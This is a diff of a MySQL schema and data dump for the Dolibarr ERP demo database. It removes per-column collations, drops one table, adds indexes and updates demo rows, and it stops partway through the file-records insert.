+ `type` varchar(10) DEFAULT NULL, `user_id` int(11) NOT NULL DEFAULT 0, - `page` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `param` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `value` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `page` varchar(255) DEFAULT NULL, + `param` varchar(255) DEFAULT NULL, + `value` varchar(128) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_default_values` (`type`,`entity`,`user_id`,`page`,`param`) -) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -5286,7 +4562,7 @@ CREATE TABLE `llx_default_values` ( LOCK TABLES `llx_default_values` WRITE; /*!40000 ALTER TABLE `llx_default_values` DISABLE KEYS */; -INSERT INTO `llx_default_values` VALUES (1,1,'createform',0,'compta/facture/card.php?action=create&type=2','reday','__DAY__'),(2,1,'createform',0,'compta/facture/card.php?action=create&type=2','remonth','__MONTH__'),(3,1,'createform',0,'compta/facture/card.php?action=create&type=2','reyear','__YEAR__'); +INSERT INTO `llx_default_values` VALUES (1,1,'createform',0,'compta/facture/card.php?action=create&type=2','reday','__DAY__'),(2,1,'createform',0,'compta/facture/card.php?action=create&type=2','remonth','__MONTH__'),(3,1,'createform',0,'compta/facture/card.php?action=create&type=2','reyear','__YEAR__'),(4,1,'createform',0,'compta/facture/card.php?action=create','fk_account','3'),(6,1,'createform',0,'aaa/aao_card.php?action=create','label','3'),(7,1,'createform',0,'fourn/facture/card.php?action=create','mode_reglement_id','4'); /*!40000 ALTER TABLE `llx_default_values` ENABLE KEYS */; UNLOCK TABLES; @@ -5300,12 +4576,12 @@ DROP TABLE IF EXISTS `llx_delivery`; CREATE TABLE `llx_delivery` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(30) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_customer` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_customer` varchar(30) DEFAULT NULL, `fk_soc` int(11) NOT NULL, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_int` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `ref_int` varchar(30) DEFAULT NULL, `date_creation` datetime DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `date_valid` datetime DEFAULT NULL, @@ -5314,14 +4590,14 @@ CREATE TABLE `llx_delivery` ( `fk_address` int(11) DEFAULT NULL, `fk_statut` smallint(6) DEFAULT 0, `total_ht` double(24,8) DEFAULT 0.00000000, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `fk_incoterms` int(11) DEFAULT NULL, - `location_incoterms` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `location_incoterms` varchar(255) DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `idx_delivery_uk_ref` (`ref`,`entity`), KEY `idx_delivery_fk_soc` (`fk_soc`), @@ -5353,7 +4629,7 @@ CREATE TABLE `llx_delivery_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_delivery_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -5380,7 +4656,7 @@ CREATE TABLE `llx_deliverydet` ( `fk_delivery` int(11) DEFAULT NULL, `fk_origin_line` int(11) DEFAULT NULL, `fk_product` int(11) DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` text DEFAULT NULL, `qty` double DEFAULT NULL, `subprice` double(24,8) DEFAULT 0.00000000, `total_ht` double(24,8) DEFAULT 0.00000000, @@ -5412,7 +4688,7 @@ CREATE TABLE `llx_deliverydet_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_deliverydet_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -5427,45 +4703,6 @@ LOCK TABLES `llx_deliverydet_extrafields` WRITE; /*!40000 ALTER TABLE `llx_deliverydet_extrafields` ENABLE KEYS */; UNLOCK TABLES; --- --- Table structure for table `llx_deplacement` --- - -DROP TABLE IF EXISTS `llx_deplacement`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_deplacement` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `entity` int(11) NOT NULL DEFAULT 1, - `datec` datetime NOT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `dated` datetime DEFAULT NULL, - `fk_user` int(11) NOT NULL, - `fk_user_author` int(11) DEFAULT NULL, - `fk_user_modif` int(11) DEFAULT NULL, - `type` varchar(12) COLLATE utf8mb3_unicode_ci NOT NULL, - `fk_statut` int(11) NOT NULL DEFAULT 1, - `km` double DEFAULT NULL, - `fk_soc` int(11) DEFAULT NULL, - `fk_projet` int(11) DEFAULT 0, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_deplacement` --- - -LOCK TABLES `llx_deplacement` WRITE; -/*!40000 ALTER TABLE `llx_deplacement` DISABLE KEYS */; -INSERT INTO `llx_deplacement` VALUES (1,NULL,1,'2012-07-09 01:58:04','2012-07-08 23:58:18','2012-07-09 12:00:00',2,1,NULL,'TF_LUNCH',1,10,2,1,NULL,NULL,NULL); -/*!40000 ALTER TABLE `llx_deplacement` ENABLE KEYS */; -UNLOCK TABLES; - -- -- Table structure for table `llx_document_model` -- @@ -5475,14 +4712,14 @@ DROP TABLE IF EXISTS `llx_document_model`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_document_model` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `nom` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `nom` varchar(50) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `type` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `libelle` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `type` varchar(64) DEFAULT NULL, + `libelle` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_document_model` (`nom`,`type`,`entity`) -) ENGINE=InnoDB AUTO_INCREMENT=442 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=469 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -5491,7 +4728,7 @@ CREATE TABLE `llx_document_model` ( LOCK TABLES `llx_document_model` WRITE; /*!40000 ALTER TABLE `llx_document_model` DISABLE KEYS */; -INSERT INTO `llx_document_model` VALUES (9,'merou',1,'shipping',NULL,NULL),(181,'generic_invoice_odt',1,'invoice','ODT templates','FACTURE_ADDON_PDF_ODT_PATH'),(193,'canelle2',1,'invoice_supplier','canelle2',NULL),(195,'canelle',1,'invoice_supplier','canelle',NULL),(198,'azur',2,'propal',NULL,NULL),(199,'html_cerfafr',2,'donation',NULL,NULL),(200,'crabe',2,'invoice',NULL,NULL),(201,'generic_odt',1,'company','ODT templates','COMPANY_ADDON_PDF_ODT_PATH'),(250,'baleine',1,'project',NULL,NULL),(255,'soleil',1,'ficheinter',NULL,NULL),(256,'azur',1,'propal',NULL,NULL),(273,'beluga',1,'project','beluga',NULL),(281,'sepamandate',1,'bankaccount','sepamandate',NULL),(299,'standard',1,'member',NULL,NULL),(319,'generic_bom_odt',1,'bom','ODT templates','BOM_ADDON_PDF_ODT_PATH'),(320,'generic_mo_odt',1,'mrp','ODT templates','MRP_MO_ADDON_PDF_ODT_PATH'),(366,'generic_user_odt',1,'user',NULL,NULL),(367,'generic_usergroup_odt',1,'group',NULL,NULL),(370,'aurore',1,'supplier_proposal',NULL,NULL),(371,'rouget',1,'shipping',NULL,NULL),(372,'typhon',1,'delivery',NULL,NULL),(393,'squille',1,'reception',NULL,NULL),(434,'einstein',1,'order',NULL,NULL),(435,'html_cerfafr',1,'donation',NULL,NULL),(436,'standard',1,'expensereport',NULL,NULL),(437,'crabe',1,'invoice',NULL,NULL),(438,'muscadet',1,'order_supplier',NULL,NULL),(439,'standard_recruitmentjobposition',1,'recruitmentjobposition',NULL,NULL),(440,'generic_recruitmentjobposition_odt',1,'recruitmentjobposition',NULL,NULL),(441,'TICKET_ADDON_PDF_ODT_PATH',1,'ticket',NULL,NULL); +INSERT INTO `llx_document_model` VALUES (9,'merou',1,'shipping',NULL,NULL),(181,'generic_invoice_odt',1,'invoice','ODT templates','FACTURE_ADDON_PDF_ODT_PATH'),(193,'canelle2',1,'invoice_supplier','canelle2',NULL),(195,'canelle',1,'invoice_supplier','canelle',NULL),(198,'azur',2,'propal',NULL,NULL),(199,'html_cerfafr',2,'donation',NULL,NULL),(200,'crabe',2,'invoice',NULL,NULL),(201,'generic_odt',1,'company','ODT templates','COMPANY_ADDON_PDF_ODT_PATH'),(250,'baleine',1,'project',NULL,NULL),(255,'soleil',1,'ficheinter',NULL,NULL),(256,'azur',1,'propal',NULL,NULL),(273,'beluga',1,'project','beluga',NULL),(281,'sepamandate',1,'bankaccount','sepamandate',NULL),(299,'standard',1,'member',NULL,NULL),(319,'generic_bom_odt',1,'bom','ODT templates','BOM_ADDON_PDF_ODT_PATH'),(320,'generic_mo_odt',1,'mrp','ODT templates','MRP_MO_ADDON_PDF_ODT_PATH'),(366,'generic_user_odt',1,'user',NULL,NULL),(367,'generic_usergroup_odt',1,'group',NULL,NULL),(370,'aurore',1,'supplier_proposal',NULL,NULL),(371,'rouget',1,'shipping',NULL,NULL),(372,'typhon',1,'delivery',NULL,NULL),(393,'squille',1,'reception',NULL,NULL),(459,'einstein',1,'order',NULL,NULL),(460,'html_cerfafr',1,'donation',NULL,NULL),(461,'standard',1,'expensereport',NULL,NULL),(462,'crabe',1,'invoice',NULL,NULL),(463,'muscadet',1,'order_supplier',NULL,NULL),(464,'standard_recruitmentjobposition',1,'recruitmentjobposition',NULL,NULL),(465,'generic_recruitmentjobposition_odt',1,'recruitmentjobposition',NULL,NULL),(466,'TICKET_ADDON_PDF_ODT_PATH',1,'ticket',NULL,NULL),(467,'fiche_equipement',1,'gestionparc',NULL,NULL),(468,'strato',1,'contract','strato',NULL); /*!40000 ALTER TABLE `llx_document_model` ENABLE KEYS */; UNLOCK TABLES; @@ -5504,7 +4741,7 @@ DROP TABLE IF EXISTS `llx_don`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_don` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(30) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_statut` smallint(6) NOT NULL DEFAULT 0, @@ -5513,30 +4750,35 @@ CREATE TABLE `llx_don` ( `amount` double(24,8) DEFAULT NULL, `fk_payment` int(11) DEFAULT NULL, `paid` smallint(6) NOT NULL DEFAULT 0, - `firstname` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `lastname` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `societe` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `address` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `zip` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `town` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `country` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `firstname` varchar(50) DEFAULT NULL, + `lastname` varchar(50) DEFAULT NULL, + `societe` varchar(50) DEFAULT NULL, + `address` text DEFAULT NULL, + `zip` varchar(10) DEFAULT NULL, + `town` varchar(50) DEFAULT NULL, + `country` varchar(50) DEFAULT NULL, `fk_country` int(11) NOT NULL, - `email` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `phone` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `phone_mobile` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `email` varchar(255) DEFAULT NULL, + `phone` varchar(24) DEFAULT NULL, + `phone_mobile` varchar(24) DEFAULT NULL, `public` smallint(6) NOT NULL DEFAULT 1, `fk_projet` int(11) DEFAULT NULL, `fk_user_author` int(11) NOT NULL, `fk_user_valid` int(11) DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `date_valid` datetime DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `fk_soc` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, - PRIMARY KEY (`rowid`) + PRIMARY KEY (`rowid`), + UNIQUE KEY `idx_don_uk_ref` (`ref`,`entity`), + KEY `idx_don_fk_soc` (`fk_soc`), + KEY `idx_don_fk_project` (`fk_projet`), + KEY `idx_don_fk_user_author` (`fk_user_author`), + KEY `idx_don_fk_user_valid` (`fk_user_valid`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -5561,7 +4803,7 @@ CREATE TABLE `llx_don_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_don_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -5585,20 +4827,20 @@ DROP TABLE IF EXISTS `llx_ecm_directories`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_ecm_directories` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `label` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, + `label` varchar(64) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `fk_parent` int(11) DEFAULT NULL, - `description` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `description` varchar(255) NOT NULL, `cachenbofdoc` int(11) NOT NULL DEFAULT 0, - `fullpath` varchar(750) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `fullpath` varchar(750) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `date_c` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_c` int(11) DEFAULT NULL, `fk_user_m` int(11) DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `acl` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `acl` text DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_ecm_directories` (`label`,`fk_parent`,`entity`), KEY `idx_ecm_directories_fk_user_c` (`fk_user_c`), @@ -5614,7 +4856,7 @@ CREATE TABLE `llx_ecm_directories` ( LOCK TABLES `llx_ecm_directories` WRITE; /*!40000 ALTER TABLE `llx_ecm_directories` DISABLE KEYS */; -INSERT INTO `llx_ecm_directories` VALUES (8,'Administrative documents',1,0,'Directory to store administrative contacts',0,NULL,NULL,'2018-07-30 16:54:41','2018-07-30 12:54:41',12,NULL,NULL,NULL,NULL),(9,'Images',1,0,'',34,NULL,NULL,'2018-07-30 16:55:33','2018-07-30 13:24:41',12,NULL,NULL,NULL,NULL); +INSERT INTO `llx_ecm_directories` VALUES (8,'Administrative documents',1,0,'Directory to store administrative contacts',1,NULL,NULL,'2018-07-30 16:54:41','2022-12-13 16:20:21',12,NULL,NULL,NULL,NULL),(9,'Images',1,0,'',34,NULL,NULL,'2018-07-30 16:55:33','2018-07-30 13:24:41',12,NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_ecm_directories` ENABLE KEYS */; UNLOCK TABLES; @@ -5629,7 +4871,7 @@ CREATE TABLE `llx_ecm_directories_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) CHARACTER SET utf8mb4 DEFAULT NULL, + `import_key` varchar(14) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_ecm_directories_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -5653,33 +4895,33 @@ DROP TABLE IF EXISTS `llx_ecm_files`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_ecm_files` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `share` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(128) DEFAULT NULL, + `label` varchar(128) NOT NULL, + `share` varchar(128) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `filename` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `filepath` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fullpath_orig` varchar(750) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `keywords` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `cover` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `gen_or_uploaded` varchar(12) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `filename` varchar(255) NOT NULL, + `filepath` varchar(255) DEFAULT NULL, + `fullpath_orig` varchar(750) DEFAULT NULL, + `description` text DEFAULT NULL, + `keywords` text DEFAULT NULL, + `cover` text DEFAULT NULL, + `gen_or_uploaded` varchar(12) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `date_c` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_c` int(11) DEFAULT NULL, `fk_user_m` int(11) DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `acl` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `acl` text DEFAULT NULL, `position` int(11) DEFAULT NULL, - `keyword` varchar(750) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `src_object_type` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `keyword` varchar(750) DEFAULT NULL, + `src_object_type` varchar(64) DEFAULT NULL, `src_object_id` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_ecm_files` (`filepath`,`filename`,`entity`), KEY `idx_ecm_files_label` (`label`) -) ENGINE=InnoDB AUTO_INCREMENT=161 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=246 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -5688,7 +4930,7 @@ CREATE TABLE `llx_ecm_files` ( LOCK TABLES `llx_ecm_files` WRITE; /*!40000 ALTER TABLE `llx_ecm_files` DISABLE KEYS */; -INSERT INTO `llx_ecm_files` VALUES (1,NULL,'6ff09d1c53ef83fe622b02a320bcfa52',NULL,1,'FA1107-0019.pdf','facture/FA1107-0019','/home/ldestailleur/git/dolibarr_6.0/documents/facture/FA1107-0019/FA1107-0019.pdf','',NULL,NULL,'unknown',NULL,'2017-08-30 15:53:34','2017-08-30 11:53:34',18,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(2,NULL,'a6c8a0f04af73e4dfc059006d7a5f55a',NULL,1,'FA1107-0019_invoice.odt','facture/FA1107-0019','/home/ldestailleur/git/dolibarr_6.0/documents/facture/FA1107-0019/FA1107-0019_invoice.odt','',NULL,NULL,'unknown',NULL,'2017-08-30 15:53:34','2017-08-30 11:53:34',18,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(3,NULL,'24e96a4a0da25d1ac5049ea46d031d3a',NULL,1,'FA1107-0019-depotFacture-1418-INH-N000289-20170720.pdf','facture/FA1107-0019','depotFacture-1418-INH-N000289-20170720.pdf','',NULL,NULL,'uploaded',NULL,'2017-08-30 15:54:45','2017-08-30 11:54:45',18,NULL,NULL,NULL,NULL,3,NULL,NULL,NULL),(4,NULL,'91a42a4e2c77e826562c83fa84f6fccd',NULL,1,'CO7001-0027-acces-coopinfo.txt','commande/CO7001-0027','acces-coopinfo.txt','',NULL,NULL,'uploaded',NULL,'2017-08-30 16:02:33','2017-08-30 12:02:33',18,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(5,'5fe17a68b2f6a73e6326f77fa7b6586c','a60cad66c6da948eb08d5b939f3516ff',NULL,1,'FA1601-0024.pdf','facture/FA1601-0024','','',NULL,NULL,'generated',NULL,'2017-08-30 16:23:01','2018-03-16 09:59:31',12,12,NULL,NULL,NULL,1,NULL,NULL,NULL),(6,NULL,'24e96a4a0da25d1ac5049ea46d031d3a',NULL,1,'FA1601-0024-depotFacture-1418-INH-N000289-20170720.pdf','facture/FA1601-0024','depotFacture-1418-INH-N000289-20170720.pdf','',NULL,NULL,'uploaded',NULL,'2017-08-30 16:23:14','2017-08-30 12:23:14',12,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(7,NULL,'d41d8cd98f00b204e9800998ecf8427e',NULL,1,'Exxxqqqw','produit/COMP-XP4523','/home/ldestailleur/git/dolibarr_6.0/documents/produit/COMP-XP4523/Exxxqqqw','',NULL,NULL,'unknown',NULL,'2017-08-30 19:03:15','2017-08-30 15:04:02',12,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(8,NULL,'8245ba8e8e345655f06cd904d7d54f73',NULL,1,'compxp4523product.jpg','produit/COMP-XP4523','/home/ldestailleur/git/dolibarr_6.0/documents/produit/COMP-XP4523/compxp4523product.jpg','',NULL,NULL,'unknown',NULL,'2017-08-30 19:03:15','2017-08-30 15:04:02',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(9,NULL,'d32552ee874c82b9f0ccab4f309b4b61',NULL,1,'dolihelp.ico','produit/COMP-XP4523','/home/ldestailleur/git/dolibarr_6.0/documents/produit/COMP-XP4523/dolihelp.ico','',NULL,NULL,'unknown',NULL,'2017-08-30 19:03:15','2017-08-30 15:03:15',12,NULL,NULL,NULL,NULL,3,NULL,NULL,NULL),(10,'afef987559622d6334fdc4a9a134c435','ccd46bbf3ab6c78588a0ba775106258f',NULL,1,'rolluproduct.jpg','produit/ROLLUPABC','/home/dolibarr/demo.dolibarr.org/dolibarr_documents/produit/ROLLUPABC/rolluproduct.jpg','',NULL,NULL,'unknown',NULL,'2018-01-19 11:23:16','2018-01-19 11:23:16',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(11,'a8bbc6c6daea9a4dd58d6fb37a77a030','2f1f2ea4b1b4eb9f25ba440c7870ffcd',NULL,1,'dolicloud_logo.png','produit/DOLICLOUD','/home/dolibarr/demo.dolibarr.org/dolibarr_documents/produit/DOLICLOUD/dolicloud_logo.png','',NULL,NULL,'unknown',NULL,'2018-01-19 11:23:16','2018-01-19 11:23:16',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(12,'bd0951e23023b22ad1cd21fe33ee46bf','03f0be1249e56fd0b3dd02d5545e3675',NULL,1,'applepieproduct.jpg','produit/CAKECONTRIB','/home/dolibarr/demo.dolibarr.org/dolibarr_documents/produit/CAKECONTRIB/applepieproduct.jpg','',NULL,NULL,'unknown',NULL,'2018-01-19 11:23:16','2018-01-19 11:23:16',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(13,'e9e029e2d2bbd014162c0b385ab8739a','b7446fb7b54a3085ff7167e2c5b370fd',NULL,1,'pearpieproduct.jpg','produit/PEARPIE','/home/dolibarr/demo.dolibarr.org/dolibarr_documents/produit/PEARPIE/pearpieproduct.jpg','',NULL,NULL,'unknown',NULL,'2018-01-19 11:23:16','2018-01-19 11:23:16',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(14,'14eea962fb99dc6dd8ca4474c519f837','973b1603b5eb01aac97eb2d911f4c341',NULL,1,'pinkdressproduct.jpg','produit/PINKDRESS','/home/dolibarr/demo.dolibarr.org/dolibarr_documents/produit/PINKDRESS/pinkdressproduct.jpg','',NULL,NULL,'unknown',NULL,'2018-01-19 11:23:16','2018-01-19 11:23:16',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(18,'1972b3da7908b3e08247e6e23bb7bdc3','03f0be1249e56fd0b3dd02d5545e3675',NULL,1,'applepieproduct.jpg','produit/APPLEPIE','/home/dolibarr/demo.dolibarr.org/dolibarr_documents/produit/APPLEPIE/applepieproduct.jpg','',NULL,NULL,'unknown',NULL,'2018-01-19 11:23:16','2018-01-19 11:23:16',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(19,'ff9fad9b5ea886a0812953907e2b790a','3d14c3c12c58dfe06ef3020e712b2b06',NULL,1,'dolibarr_screenshot1_300x188.png','ticket/TS1909-0002','dolibarr_screenshot1_300x188.png','',NULL,NULL,'uploaded',NULL,'2019-09-26 14:12:04','2019-09-26 12:12:04',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(20,'b6a2578c5483bffbead5b290f6ef5286','83c8e9b3b692ebae2f6f3e298dd9f5a2',NULL,1,'(PROV10)-dolibarr_120x90.png','propale/(PROV10)','dolibarr_120x90.png','',NULL,NULL,'uploaded',NULL,'2019-09-27 16:53:51','2019-09-27 14:53:51',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(21,'89809c5b1213137736ded43bdd982f71','5f1af043d9fc7a90e8500a6dc5c4f5ae',NULL,1,'(PROV10).pdf','propale/(PROV10)','','',NULL,NULL,'generated',NULL,'2019-09-27 16:54:09','2019-09-27 14:54:09',12,NULL,NULL,NULL,NULL,2,NULL,'propal',10),(22,'8eb026e33ae1c7892c59a2ac6dda31f4','8827be83628b2f5beb67cf95b4c4cff6',NULL,1,'PR1909-0031.pdf','propale/PR1909-0031','','',NULL,NULL,'generated',NULL,'2019-09-27 16:54:30','2019-09-27 